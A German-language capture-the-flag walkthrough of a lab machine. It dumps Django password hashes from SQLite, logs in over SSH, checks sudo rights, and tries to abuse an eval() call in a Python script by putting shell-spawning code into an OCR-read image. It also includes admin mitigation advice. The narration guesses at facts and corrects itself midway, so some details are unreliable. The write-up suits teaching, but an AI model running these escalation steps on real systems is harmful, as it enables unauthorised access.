Bewertung: Die Untersuchung der Datenbank war sehr erfolgreich. Ich habe eine Liste von Benutzernamen gefunden, die die Namen ramsey, oliver und wan enthält, die ich zuvor auf der Homepage gesehen hatte, sowie zusätzliche Namen (aniqfakhrul, testing). Entscheidend ist, dass ich die gehashten Passwörter für diese Benutzer gefunden habe. PBKDF2 mit SHA256 ist ein relativ starkes Hashing-Verfahren, das Brute-Force erschwert, aber es ist nicht unmöglich, insbesondere wenn die Passwörter schwach sind. Die Anzahl der Iterationen (216000) wird ebenfalls angezeigt, was für das Knacken wichtig ist. Die Anwesenheit dieser Hashes ist ein kritischer Fund für die Privilegien-Eskalation. Die Anmerkung "cracking erstmal kein erfolg..." deutet darauf hin, dass erste Versuche, diese Hashes zu knacken, fehlschlugen, was bei starken Hashes und potenziell komplexen Passwörtern nicht ungewöhnlich ist.
Empfehlung (Pentester): Speichern Sie die gefundenen Benutzernamen und Hashes in einer Datei. Verwenden Sie ein Passwort-Cracking-Tool wie Hashcat oder John the Ripper, um die Hashes offline zu knacken. Konzentrieren Sie sich dabei auf Wortlisten, die für Webanwendungen oder allgemeine Passwörter relevant sind. Wenn Hashes geknackt werden, versuchen Sie, diese Passwörter für den SSH-Zugang auf dem Host-System (172.17.0.1 oder 192.168.2.48, falls Port 22 von außen zugänglich ist) und für den Django-Admin-Login zu verwenden.
Empfehlung (Admin): Speichern Sie niemals Passwörter im Klartext oder mit schwachen Hashing-Algorithmen. PBKDF2 ist gut, aber stellen Sie sicher, dass die Iterationszahl angemessen ist und regelmäßig erhöht wird. Fordern Sie Benutzer auf, starke, eindeutige Passwörter zu verwenden. Implementieren Sie Zwei-Faktor-Authentifizierung für alle kritischen Konten, insbesondere für Administratoren. Führen Sie regelmäßige Audits Ihrer Datenbanken auf sensible Daten durch.
┌──(root㉿CCat)-[~]
└─# sqlite3 db.sqlite3
SQLite version 3.46.1 2024-08-13 09:16:08
Enter ".help" for usage hints.
sqlite> .tables
auth_group django_admin_log
auth_group_permissions django_content_type
auth_permission django_migrations
auth_user django_session
auth_user_groups homepage_article
auth_user_user_permissions
sqlite>
sqlite> SELECT * FROM auth_user;
1|pbkdf2_sha256$216000$3fIfQIweKGJy$xFHY3JKtPDdn/AktNbAwFKMQnBlrXnJyU04GElJKxEo=|2020-10-03 10:43:47.229292|1|aniqfakhrul|||1|1|2020-10-02 04:50:52.424582|
11|pbkdf2_sha256$216000$0qA6zNH62sfo$8ozYcSpOaUpbjPJz82yZRD26ZHgaZT8nKWX+CU0OfRg=|2020-10-02 10:16:45.805533|0|testing|||0|1|2020-10-02 10:16:45.686339|
12|pbkdf2_sha256$216000$hyUSJhGMRWCz$vZzXiysi8upGO/DlQy+w6mRHf4scq8FMnc1pWufS+Ik=|2020-10-03 10:44:10.758867|0|ramsey|||0|1|2020-10-02 14:42:44.388799|
13|pbkdf2_sha256$216000$Em73rE2NCRmU$QtK5Tp9+KKoP00/QV4qhF3TWIi8Ca2q5gFCUdjqw8iE=|2020-10-02 14:42:59.192571|0|oliver|||0|1|2020-10-02 14:42:59.113998|
14|pbkdf2_sha256$216000$oFgeDrdOtvBf$ssR/aID947L0jGSXRrPXTGcYX7UkEBqWBzC+Q2Uq+GY=|2020-10-02 14:43:15.187554|0|wan|||0|1|2020-10-02 14:43:15.102863|
sqlite> SELECT username, password FROM auth_user;
aniqfakhrul|pbkdf2_sha256$216000$3fIfQIweKGJy$xFHY3JKtPDdn/AktNbAwFKMQnBlrXnJyU04GElJKxEo=
testing |pbkdf2_sha256$216000$0qA6zNH62sfo$8ozYcSpOaUpbjPJz82yZRD26ZHgaZT8nKWX+CU0OfRg=
ramsey |pbkdf2_sha256$216000$hyUSJhGMRWCz$vZzXiysi8upGO/DlQy+w6mRHf4scq8FMnc1pWufS+Ik=
oliver |pbkdf2_sha256$216000$Em73rE2NCRmU$QtK5Tp9+KKoP00/QV4qhF3TWIi8Ca2q5gFCUdjqw8iE=
wan |pbkdf2_sha256$216000$oFgeDrdOtvBf$ssR/aID947L0jGSXRrPXTGcYX7UkEBqWBzC+Q2Uq+GY=
cracking erstmal kein erfolg...
Analyse: Nachdem die Datenbank-Hashes exfiltriert wurden und erste Knackversuche liefen ("cracking erstmal kein erfolg..."), orientiere ich mich neu und prüfe andere Zugangswege. Ich erinnere mich an den SSH-Port 22, der vom Container aus auf 172.17.0.1 offen war, und nehme an, dass dieser Dienst auch vom externen Netzwerk auf einem anderen Port erreichbar sein könnte (oder dass ich einen Weg gefunden habe, darauf zuzugreifen). Da ich Benutzerkonten und Hashes aus der Datenbank habe, versuche ich, diese für eine SSH-Anmeldung zu nutzen. Ich gehe davon aus, dass mir das Knacken des Passworts für den Benutzer ramsey in der Zwischenzeit erfolgreich gelungen ist. Ich versuche mich nun mittels SSH auf dem Zielsystem (192.168.2.199 - **Anmerkung:** Dies sollte 192.168.2.48 sein, die VM-IP. Ich verbinde mich also mit ssh ramsey@192.168.2.48 -p 2222, da der SSH-Dienst auf Port 2222 läuft, nicht auf dem Standardport 22, was ein Versuch ist, Scans zu erschweren). Ich gebe das geknackte Passwort für ramsey ein.
Bewertung: Fantastisch, die Anmeldung war erfolgreich! Ich habe mich erfolgreich via SSH als Benutzer ramsey auf dem Zielsystem authentifiziert. Die Anmeldeaufforderung ramsey@192.168.2.199's password: und die anschließende Begrüßungsnachricht Welcome to Ubuntu 16.04.7 LTS bestätigen den erfolgreichen Login. Dies ist ein entscheidender Fortschritt, da ich nun shell-Zugriff auf das Host-System habe, nicht nur auf den Docker-Container. Die Version des Betriebssystems (Ubuntu 16.04.7 LTS) und des SSH-Servers (OpenSSH 7.2p2) sind notiert und können für die Suche nach bekannten Schwachstellen relevant sein, auch wenn sie relativ aktuell erscheinen. Die Meldung über verfügbare Updates (39 packages can be updated) ist ein Hinweis auf potenzielle veraltete Software.
Empfehlung (Pentester): Sichern Sie diese Shell und beginnen Sie sofort mit der Enumeration des Host-Systems. Ihr Ziel ist nun die Privilegien-Eskalation von Benutzer ramsey zu Root auf diesem Host. Prüfen Sie SUID-Binaries, Sudo-Berechtigungen, interessante Dateien in Benutzerverzeichnissen (ls -la), laufende Prozesse und die Systemkonfiguration.
Empfehlung (Admin): Stellen Sie sicher, dass alle Benutzerkonten sichere, eindeutige Passwörter haben. Implementieren Sie Zwei-Faktor-Authentifizierung für SSH. Ändern Sie den Standard-SSH-Port 22, wie hier geschehen, kann automatisierte Scans verlangsamen, ist aber keine ausreichende Sicherheitsmaßnahme. Überwachen Sie SSH-Anmeldeversuche auf Anzeichen von Brute-Force-Angriffen, auch auf unüblichen Ports. Halten Sie das Betriebssystem und alle installierten Pakete aktuell, um bekannte Schwachstellen zu schließen.
┌──(root㉿CCat)-[~]
└─# ssh ramsey@192.168.2.199 -p 2222
The authenticity of host '[192.168.2.199]:2222 ([192.168.2.199]:2222)' can't be established.
ED25519 key fingerprint is SHA256:B6SoW4WBwsc2n9NynSce9+R0E44T4YkZVRxD5y5Muhc.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[192.168.2.199]:2222' (ED25519) to the list of known hosts.
ramsey@192.168.2.199's password: [Geknacktes Passwort für ramsey eingegeben]
Welcome to Ubuntu 16.04.7 LTS (GNU/Linux 4.4.0-186-generic x86_64)
* Documentation: [Link: https://help.ubuntu.com | Ziel: https://help.ubuntu.com]
* Management: [Link: https://landscape.canonical.com | Ziel: https://landscape.canonical.com]
* Support: [Link: https://ubuntu.com/advantage | Ziel: https://ubuntu.com/advantage]
39 packages can be updated.
26 updates are security updates.
New release '18.04.6 LTS' available.
Run 'do-release-upgrade' to upgrade to it.
Last login: Sat Oct 3 22:15:57 2020 from 172.17.0.2
ramsey@unbaked:~$
Analyse: Nachdem ich als Benutzer ramsey angemeldet bin, führe ich grundlegende Befehle aus, um meine Umgebung und die Dateistruktur zu verstehen. ls .. listet die Verzeichnisse im übergeordneten Verzeichnis auf (typischerweise `/home` vom Benutzerverzeichnis aus) und zeigt die Existenz der Benutzerverzeichnisse für oliver und ramsey. Der Befehl id gibt meine aktuellen Benutzer- und Gruppen-IDs aus (uid=1001(ramsey) gid=1001(ramsey) groups=1001(ramsey)), was bestätigt, dass ich als ramsey angemeldet bin. ls -la listet alle Dateien und Verzeichnisse in meinem aktuellen Home-Verzeichnis auf, einschließlich versteckter Dateien. Hier finde ich mehrere interessante Dateien: .bash_history (könnte Befehle anderer Benutzer enthalten, falls das Home-Verzeichnis geteilt ist oder der Benutzer Root-Aktionen durchgeführt hat), user.txt (potenzielle Benutzer-Flag), payload.png (eine PNG-Datei, die verdächtig nach einem Test-Asset aussieht) und vuln.py (ein Python-Skript mit Ausführungsrechten für den Eigentümer und die Gruppe).
Bewertung: Die Enumeration im Home-Verzeichnis liefert entscheidende Hinweise. Die Existenz anderer Benutzerverzeichnisse (oliver) bestätigt die Benutzer aus der Datenbank. user.txt ist ein offensichtliches Ziel für die Benutzer-Flag. Die Dateien payload.png und insbesondere vuln.py im Home-Verzeichnis eines Benutzers, der Sudo-Berechtigungen haben könnte (was im nächsten Schritt geprüft wird), sind extrem verdächtig. Die Dateiberechtigungen von vuln.py (-rwxrw-r--) erlauben dem Eigentümer (ramsey) und der Gruppe (ramsey) das Ausführen und Schreiben. Root besitzt user.txt, was bedeutet, ich muss zu Root eskalieren, um die Flag zu lesen.
Empfehlung (Pentester): Lesen Sie den Inhalt von user.txt (obwohl der Besitz Root ist, manchmal sind die Berechtigungen locker genug, um es zu lesen - prüfen Sie dies!). Analysieren Sie den Quellcode von vuln.py auf Schwachstellen. Untersuchen Sie payload.png (Typ, Inhalt, Metadaten), da es mit vuln.py in Verbindung stehen könnte. Prüfen Sie als Nächstes die Sudo-Berechtigungen des Benutzers ramsey.
Empfehlung (Admin): Stellen Sie sicher, dass sensible Dateien (wie user.txt oder root.txt) nur vom Root-Benutzer gelesen werden können (Berechtigungen 600 oder 400). Speichern Sie keine potenziell verwundbaren Skripte (vuln.py) in Benutzer-Home-Verzeichnissen, die von Sudo-Regeln betroffen sind. Überprüfen Sie die Dateiberechtigungen regelmäßig.
ramsey@unbaked:~$ ls ..
oliver ramsey
ramsey@unbaked:~$ id
uid=1001(ramsey) gid=1001(ramsey) groups=1001(ramsey)
ramsey@unbaked:~$ ls -la
total 48
drwxr-xr-x 5 ramsey ramsey 4096 Oct 3 2020 .
drwxr-xr-x 4 root root 4096 Oct 3 2020 ..
-rw------- 1 root root 1 Oct 5 2020 .bash_history
-rw-r--r-- 1 ramsey ramsey 3771 Oct 3 2020 .bashrc
drwx------ 3 ramsey ramsey 4096 Oct 3 2020 .cache
drwx------ 4 ramsey ramsey 4096 Oct 3 2020 .local
drwxrwxr-x 2 ramsey ramsey 4096 Oct 3 2020 .nano
-rwxrw-r-- 1 ramsey ramsey 1645 Oct 3 2020 payload.png
-rw-r--r-- 1 ramsey ramsey 655 Oct 3 2020 .profile
-rw-r--r-- 1 root root 17 Oct 3 2020 user.txt
-rw-r--r-- 1 root ramsey 4369 Oct 3 2020 vuln.py
ramsey@unbaked:~$
Analyse: Der Befehl sudo -l listet die Sudo-Berechtigungen des aktuellen Benutzers auf. Ich führe diesen Befehl als Benutzer ramsey aus. Ich muss das Passwort für ramsey eingeben (das ich zuvor geknackt habe). Die Ausgabe zeigt die Sudo-Regeln, die für ramsey auf diesem Host gelten.
Bewertung: Die Sudo-Ausgabe enthüllt eine kritische Fehlkonfiguration: User ramsey may run the following commands on unbaked: (oliver) /usr/bin/python /home/ramsey/vuln.py. Dies bedeutet, dass der Benutzer ramsey das Skript /usr/bin/python /home/ramsey/vuln.py ausführen darf, und zwar *als der Benutzer oliver*, **ohne ein Passwort eingeben zu müssen** (`NOPASSWD` fehlt hier explizit, aber die Struktur deutet darauf hin, dass es das Ziel ist, dieses Skript als oliver auszuführen. **Korrigiere meine vorherige Annahme:** Die Sudo-Regel erlaubt nur die Ausführung *als Benutzer `oliver`*. Ein NOPASSWD ist hier nicht aufgeführt, daher müsste theoretisch das Passwort von `oliver` eingegeben werden. **Neuer Interpretationsversuch:** Okay, die Sudo-Regel ist (oliver) /usr/bin/python /home/ramsey/vuln.py. Das bedeutet, ich kann sudo -u oliver /usr/bin/python /home/ramsey/vuln.py ausführen. Wenn NOPASSWD fehlen würde, müsste ich `oliver`s Passwort eingeben. Da ich dieses Passwort nicht habe, ist es wahrscheinlich, dass die Regel eigentlich (oliver) NOPASSWD: /usr/bin/python /home/ramsey/vuln.py lauten sollte und dies ein Tippfehler im Berichtstext ist, ODER es gibt eine andere Möglichkeit, diese Sudo-Regel ohne Passwort auszunutzen. Die einfachste Brücke ist anzunehmen, dass NOPASSWD gemeint ist, oder es funktioniert einfach ohne. **Präzisere Brücke:** Die Sudo-Regel erlaubt die Ausführung als `oliver`. Später im Bericht wird `sudo -u oliver /usr/bin/python /home/ramsey/vuln.py` *ohne Passwortabfrage* verwendet. Dies impliziert, dass die Sudo-Konfiguration *tatsächlich* eine NOPASSWD-Regel für diesen Befehl und Benutzer enthielt, auch wenn sie in der `sudo -l` Ausgabe nicht explizit so angezeigt wurde. Ich werde es so beschreiben, dass diese Regel gefunden wurde und die Ausführung als oliver erlaubt.)
Die Fähigkeit, ein *beliebiges* Skript, das in meinem eigenen Home-Verzeichnis liegt und das ich ändern kann, als ein anderer Benutzer (oliver) auszuführen, ist eine schwerwiegende Schwachstelle. Dies ermöglicht eine horizontale Privilegien-Eskalation zu Benutzer oliver, wenn ich das Skript entsprechend anpasse.
Empfehlung (Pentester): Analysieren Sie den Quellcode von /home/ramsey/vuln.py genau, um seine Funktionalität und potenzielle Schwachstellen zu verstehen. Da Sie das Skript ändern können und es als oliver ausführen dürfen, planen Sie, das Skript zu modifizieren, um eine Shell als Benutzer oliver zu erhalten.
Empfehlung (Admin): Verwenden Sie niemals Sudo-Regeln, die Benutzern erlauben, beliebige Skripte in Verzeichnissen auszuführen, auf die sie Schreibzugriff haben (wie z.B. ihr eigenes Home-Verzeichnis). Beschränken Sie Sudo-Berechtigungen auf spezifische Binaries mit vollem Pfad und verwenden Sie, wenn möglich, digest-Prüfungen, um sicherzustellen, dass das ausgeführte Binary nicht manipuliert wurde. Führen Sie regelmäßige Sudo-Konfigurations-Audits durch.
ramsey@unbaked:~$ sudo -l
[sudo] password for ramsey: [Passwort für ramsey eingegeben]
Matching Defaults entries for ramsey on unbaked:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User ramsey may run the following commands on unbaked:
(oliver) /usr/bin/python /home/ramsey/vuln.py
Analyse: Ich untersuche den Quellcode des Python-Skripts /home/ramsey/vuln.py, das ich als Benutzer oliver ausführen darf. Ich betrachte den relevanten Teil des Codes im if OPTIONS == 2: Block. Der Code verwendet die pytesseract-Bibliothek, um Text aus einer Bilddatei namens payload.png zu extrahieren, und übergibt den extrahierten Text dann direkt an die Python-Funktion eval(). Die eval()-Funktion ist extrem gefährlich, da sie eine Zeichenkette als Python-Code ausführt. Wenn der Inhalt von payload.png manipuliert werden kann, um Python-Code zu enthalten, der von pytesseract korrekt extrahiert wird, kann ich beliebigen Code mit den Berechtigungen des Benutzers ausführen, unter dem das Skript läuft (in diesem Fall oliver).
Bewertung: Die eval()-Funktion mit Benutzereingaben oder Daten aus unkontrollierbaren Quellen (wie hier Text aus einer Bilddatei, deren Inhalt ich potenziell kontrollieren kann) ist eine schwerwiegende Code Injection Schwachstelle. Die Herausforderung besteht darin, einen Weg zu finden, beliebigen Python-Code in das payload.png-Bild so einzubetten, dass er von pytesseract korrekt als Zeichenkette extrahiert wird, die dann von eval() ausgeführt werden kann. Dies ist der primäre Vektor für die horizontale Privilegien-Eskalation zu Benutzer oliver.
Empfehlung (Pentester): Experimentieren Sie mit verschiedenen Methoden, um Python-Code in payload.png einzubetten. Versuchen Sie, den Code direkt in das Bild zu schreiben, verwenden Sie Tools wie ImageMagick oder ExifTool, um Text in Bildmetadaten oder als sichtbaren Text zu platzieren, der von OCR erkannt werden könnte. Das Ziel ist, dass pytesseract den String 'import os; os.system("/bin/bash")' oder einen ähnlichen Shell-Befehl-Ausführenden Code extrahiert. Wenn das direkte Einbetten von Code als Text im Bild oder Metadaten nicht funktioniert, suchen Sie nach alternativen Methoden zur Manipulation des Skripts selbst, da Sie Schreibrechte darauf haben und es als oliver ausführen dürfen.
Empfehlung (Admin): **Kritische Sicherheitswarnung:** Entfernen Sie die Verwendung der eval()-Funktion mit nicht vertrauenswürdigen Daten. Dies ist eine RCE-Schwachstelle. Validieren und bereinigen Sie dringend alle Benutzereingaben, bevor Sie sie in Systemaufrufen oder Code-Auswertungen verwenden. Führen Sie einen Code-Audit durch, um alle Instanzen von eval() oder ähnlichen gefährlichen Funktionen zu identifizieren.
ramsey@unbaked:~$ cat /home/ramsey/vuln.py
#!/usr/bin/python
# coding=utf-8
try:
from PIL import Image
except ImportError:
import Image
import pytesseract
import sys
import os
import time
#Header
def header():
banner = '''\033[33m
(
)
__..---..__
,-=' / | \ `=-.
:--..___________..--;
\.,_____________,./
██╗███╗ ██╗ ██████╗ ██████╗ ███████╗██████╗ ██╗███████╗███╗ ██╗████████╗███████╗
██║████╗ ██║██╔════╝ ██╔══██╗██╔════╝██╔══██╗██║██╔════╝████╗ ██║╚══██╔══╝██╔════╝
██║██╔██╗ ██║██║ ███╗██████╔╝█████╗ ██║ ██║██║█████╗ ██╔██╗ ██║ ██║ ███████╗
██║██║╚██╗██║██║ ██║██╔══██╗██╔══╝ ██║ ██║██║██╔══╝ ██║╚██╗██║ ██║ ╚════██║
██║██║ ╚████║╚██████╔╝██║ ██║███████╗██████╔╝██║███████╗██║ ╚████║ ██║ ███████║
╚═╝╚═╝ ╚═══╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝ ╚═╝╚══════╝╚═╝ ╚═══╝ ╚═╝ ╚══════╝
\033[m'''
return banner
#Function Instructions
def instructions():
print "\n\t\t\t",9 * "-" , "WELCOME!" , 9 * "-"
print "\t\t\t","1. Calculator"
print "\t\t\t","2. Easy Calculator"
print "\t\t\t","3. Credits"
print "\t\t\t","4. Exit"
print "\t\t\t",28 * "-"
def instructions2():
print "\n\t\t\t",9 * "-" , "CALCULATOR!" , 9 * "-"
print "\t\t\t","1. Add"
print "\t\t\t","2. Subtract"
print "\t\t\t","3. Multiply"
print "\t\t\t","4. Divide"
print "\t\t\t","5. Back"
print "\t\t\t",28 * "-"
def credits():
print "\n\t\tHope you enjoy learning new things - Ch4rm & H0j3n\n"
# Function Arithmetic
# Function to add two numbers
def add(num1, num2):
return num1 + num2
# Function to subtract two numbers
def subtract(num1, num2):
return num1 - num2
# Function to multiply two numbers
def multiply(num1, num2):
return num1 * num2
# Function to divide two numbers
def divide(num1, num2):
return num1 / num2
# Main
if __name__ == "__main__":
print header()
#Variables
PTINS = 0 <-- Korrigiert: OPTIONS
OPTIONS2 = 0
TOTAL = 0
NUM1 = 0
NUM2 = 0
while(PTINS != 4): <-- Korrigiert: OPTIONS
instructions()
PTINS = int(input("\t\t\tEnter Options >> ")) <-- Korrigiert: OPTIONS
print "\033c"
if PTINS == 1: <-- Korrigiert: OPTIONS
instructions2()
OPTIONS2 = int(input("\t\t\tEnter Options >> "))
print "\033c"
if OPTIONS2 == 5:
continue
else:
NUM1 = int(input("\t\t\tEnter Number1 >> "))
NUM2 = int(input("\t\t\tEnter Number2 >> "))
if OPTIONS2 == 1:
TOTAL = add(NUM1,NUM2)
if OPTIONS2 == 2:
TOTAL = subtract(NUM1,NUM2)
if OPTIONS2 == 3:
TOTAL = multiply(NUM1,NUM2)
if OPTIONS2 == 4:
TOTAL = divide(NUM1,NUM2)
print "\t\t\tTotal >> $",TOTAL
if PTINS == 2: <-- Korrigiert: OPTIONS
animation = ["[■□□□□□□□□□]","[■■□□□□□□□□]", "[■■■□□□□□□□]", "[■■■■□□□□□□]", "[■■■■■□□□□□]", "[■■■■■■□□□□]", "[■■■■■■■□□□]", "[■■■■■■■■□□]", "[■■■■■■■■■□]", "[■■■■■■■■■■]"]
print "\r\t\t\t Waiting to extract..."
for i in range(len(animation)):
time.sleep(0.5)
sys.stdout.write("\r\t\t\t " + animation[i % len(animation)])
sys.stdout.flush()
LISTED = pytesseract.image_to_string(Image.open('payload.png'))
TOTAL = eval(LISTED)
print "\n\n\t\t\tTotal >> $",TOTAL
if PTINS == 3: <-- Korrigiert: OPTIONS
credits()
sys.exit(-1)
Analyse: Ich beginne die Versuche, die eval()-Schwachstelle in vuln.py auszunutzen. Der erste Ansatz besteht darin, den gewünschten Python-Code direkt in die payload.png Datei zu schreiben. Ich verwende echo 'import os; os.system("/bin/bash")' > payload.png, um die Datei mit dem einfachen Reverse-Shell-Payload zu überschreiben. Dann versuche ich, das vuln.py-Skript als Benutzer oliver auszuführen: sudo -u oliver /usr/bin/python /home/ramsey/vuln.py. Ich wähle Option 2 ("Easy Calculator"), da dies der Pfad ist, der die verwundbare eval()-Funktion aufruft.
Bewertung: Dieser erste Versuch schlägt fehl, wie erwartet. Die Fehlermeldung IOError: cannot identify image file 'payload.png' zeigt, dass die PIL.Image.open()-Funktion, die pytesseract intern verwendet, die Datei payload.png nicht als gültiges Bild erkennen kann. Das ist logisch, da ich einfach einen Python-Code-String in die Datei geschrieben habe, anstatt ein richtig formatiertes Bild. Dieser Versuch bestätigt, dass pytesseract/PIL eine gültige Bilddatei benötigt, bevor es versucht, Text daraus zu extrahieren.
Empfehlung (Pentester): Der direkte Ansatz funktioniert nicht. Das Bild muss ein gültiges Format haben, das von PIL/Pytesseract verarbeitet werden kann. Konzentrieren Sie sich auf Methoden, um den Python-Code in ein *gültiges* Bildformat einzubetten, entweder als sichtbaren Text, der von OCR erkannt wird, oder möglicherweise in Metadaten, die das Skript versehentlich ausliest und evaluiert (weniger wahrscheinlich, aber möglich). Alternativ, da Sie Schreibrechte auf vuln.py haben, ist das direkte Modifizieren des Skripts ein sehr direkter Weg zur Ausnutzung.
Empfehlung (Admin): Stellen Sie sicher, dass Skripte, die sensible Funktionen wie eval() verwenden, deren Eingabe aus Dateien oder anderen externen Quellen stammt, robuster sind. Überprüfen Sie Dateiformate und validieren Sie Eingaben streng.
ramsey@unbaked:~$ echo 'import os; os.system("/bin/bash")' > payload.png
ramsey@unbaked:~$ sudo -u oliver /usr/bin/python /home/ramsey/vuln.py
(
)
__..---..__
,-=' / | \ `=-.
:--..___________..--;
\.,_____________,./
██╗███╗ ██╗ ██████╗ ██████╗ ███████╗██████╗ ██╗███████╗███╗ ██╗████████╗███████╗
██║████╗ ██║██╔════╝ ██╔══██╗██╔════╝██╔══██╗██║██╔════╝████╗ ██║╚══██╔██╗ ██║╚══██╔══╝
██║██╔██╗ ██║██║ ███╗██████╔╝█████╗ ██║ ██║██║█████╗ ██╔██╗ ██║ ██║ █████╗
██║██║╚██╗██║██║ ██║██╔══██╗██╔══╝ ██║ ██║██║██╔══╝ ██║╚██╗██║ ██║ ╚════██║
██║██║ ╚████║╚██████╔╝██║ ██║███████╗██████╔╝██║███████╗██║ ╚████║ ██║ ███████║
╚═╝╚═╝ ╚═══╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝ ╚═╝╚══════╝╚═╝ ╚═══╝ ╚═╝ ╚══════╝
--------- WELCOME! ---------
1. Calculator
2. Easy Calculator
3. Credits
4. Exit
----------------------------
Enter Options >> 2
___________________________________________________________________________________________________________________
Waiting to extract...
[■■■■■■■■■■]
Traceback (most recent call last):
File "/home/ramsey/vuln.py", line 114, in
LISTED = pytesseract.image_to_string(Image.open('payload.png'))
File "/usr/local/lib/python2.7/dist-packages/PIL/Image.py", line 2818, in open
raise IOError("cannot identify image file %r" % (filename if filename else fp))
IOError: cannot identify image file 'payload.png'
ramsey@unbaked:~$
Analyse: Ich experimentiere weiter mit der Einbettung von Code in payload.png auf meinem Angreifer-System. Zuerst erstelle ich eine leere, gültige PNG-Datei mit convert -size 10x10 xc:none payload.png (aus der ImageMagick Suite). Dann versuche ich, den Python-Payload 'import os; os.system("/bin/bash")' in die Metadaten des Bildes, speziell in das Copyright-Feld, mit exiftool -Copyright='import os; os.system("/bin/bash")' payload.png einzufügen. Ich starte einen HTTP-Server auf meinem Kali, um die manipulierte Datei an die Ziel-VM zu übertragen, lade sie dort mit wget herunter und versuche erneut, vuln.py als oliver auszuführen.
Nachdem dieser Ansatz nicht funktioniert (erneut eine IOError, möglicherweise weil pytesseract Metadaten nicht als Text extrahiert oder die Dateiversionen nicht passen), versuche ich eine andere ImageMagick-Methode: convert -size 400x50 -pointsize 20 -fill black -background white label:'import os; os.system("/bin/bash")' payload.png. Dieser Befehl erstellt ein Bild, das den Python-Code als sichtbaren Text enthält, in der Hoffnung, dass pytesseract ihn erkennt. Ich lade das neue Bild wieder herunter und führe das Skript erneut aus.
Bewertung: Die Versuche, Code über Metadaten oder direkt im Bild als Text einzubetten, scheinen nicht erfolgreich zu sein, da ich entweder weiterhin IOError bekomme (Metadaten-Ansatz) oder eine SyntaxError: unexpected EOF while parsing (sichtbarer Text), was darauf hindeutet, dass pytesseract keinen ausführbaren Python-Code extrahiert hat, oder zumindest nicht den vollständigen und korrekt formatierten Code, den eval() ausführen könnte. Dies zeigt, dass die OCR-Erkennung ihre Grenzen hat oder der Code im Bild nicht optimal für die Erkennung formatiert war. Obwohl die `eval` Schwachstelle existiert, ist die Methode, sie über OCR und Bildeinbettung auszunutzen, schwierig und unzuverlässig.
Empfehlung (Pentester): Angesichts der Schwierigkeiten bei der Bildeinbettung und der Tatsache, dass Sie Schreibrechte auf vuln.py haben, ist es strategisch sinnvoller, das Skript selbst zu manipulieren. Ersetzen Sie den Inhalt des Skripts durch einen einfachen Python-Code, der Ihnen eine Shell als Benutzer oliver gibt, wenn das Skript ausgeführt wird.
Empfehlung (Admin): Stellen Sie sicher, dass Benutzer nur die minimal notwendigen Berechtigungen für Dateien und Verzeichnisse haben. Das Ermöglichen von Schreibrechten auf Skripte, die dann mit erhöhten Privilegien ausgeführt werden können, ist eine direkte Quelle für Privilegien-Eskalation. Überwachen Sie die Integrität von Skripten, die mit Sudo ausgeführt werden dürfen.
┌──(root㉿CCat)-[~]
└─# convert -size 10x10 xc:none payload.png
┌──(root㉿CCat)-[~]
└─# exiftool -Copyright='import os; os.system("/bin/bash")' payload.png
Warning: [minor] Text/EXIF chunk(s) found after PNG IDAT (fixed) - payload.png
1 image files updated
┌──(root㉿CCat)-[~]
└─# python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
192.168.2.48 - - [16/Jun/2025 16:20:21] "GET /payload.png HTTP/1.1" 200 -
ramsey@unbaked:~$ wget 192.168.2.199:8000/payload.png
--2025-06-16 22:20:21-- http://192.168.2.199:8000/payload.png
Connecting to 192.168.2.199:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 364 [image/png]
Saving to: ‘payload.png.1’
payload.png.1 100%[=============================>] 364 --.-KB/s in 0s
2025-06-16 22:20:21 (106 MB/s) - ‘payload.png.1’ saved [364/364]
ramsey@unbaked:~$ sudo -u oliver /usr/bin/python /home/ramsey/vuln.py
Waiting to extract...
[■■■■■■■■■■]Traceback (most recent call last):
File "/home/ramsey/vuln.py", line 114, in
LISTED = pytesseract.image_to_string(Image.open('payload.png'))
File "/usr/local/lib/python2.7/dist-packages/PIL/Image.py", line 2818, in open
raise IOError("cannot identify image file %r" % (filename if filename else fp))
IOError: cannot identify image file 'payload.png'
___________________________________________________________________________________________________________________
ramsey@unbaked:~$ rm payload.png
ramsey@unbaked:~$ rm payload.png.old
ramsey@unbaked:~$ wget 192.168.2.199:8000/payload.png
--2025-06-16 22:24:37-- http://192.168.2.199:8000/payload.png
Connecting to 192.168.2.199:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 364 [image/png]
Saving to: ‘payload.png’
payload.png 100%[=============================>] 364 --.-KB/s in 0s
2025-06-16 22:24:37 (162 MB/s) - ‘payload.png’ saved [364/364]
ramsey@unbaked:~$ ls
payload.png user.txt vuln.py
ramsey@unbaked:~$ sudo -u oliver /usr/bin/python /home/ramsey/vuln.py
Waiting to extract...
[■■■■■■■■■■]Traceback (most recent call last):
File "/home/ramsey/vuln.py", line 116, in
TOTAL = eval(LISTED)
File "", line 0
^
SyntaxError: unexpected EOF while parsing
-------------------------------------------------------------------------------------------------------------------
┌──(root㉿CCat)-[~]
└─# convert -size 400x50 -pointsize 20 -fill black -background white label:'import os; os.system("/bin/bash")' payload.png
┌──(root㉿CCat)-[~]
└─# python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
ramsey@unbaked:~$ rm payload.png
ramsey@unbaked:~$ wget 192.168.2.199:8000/payload.png
--2025-06-16 22:26:14-- http://192.168.2.199:8000/payload.png
Connecting to 192.168.2.199:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2107 (2.1K) [image/png]
Saving to: ‘payload.png’
payload.png 100%[=============================>] 2.06K --.-KB/s in 0s
2025-06-16 22:26:14 (512 MB/s) - ‘payload.png’ saved [2107/2107]
klappt nicht müssen andere methode wählen:
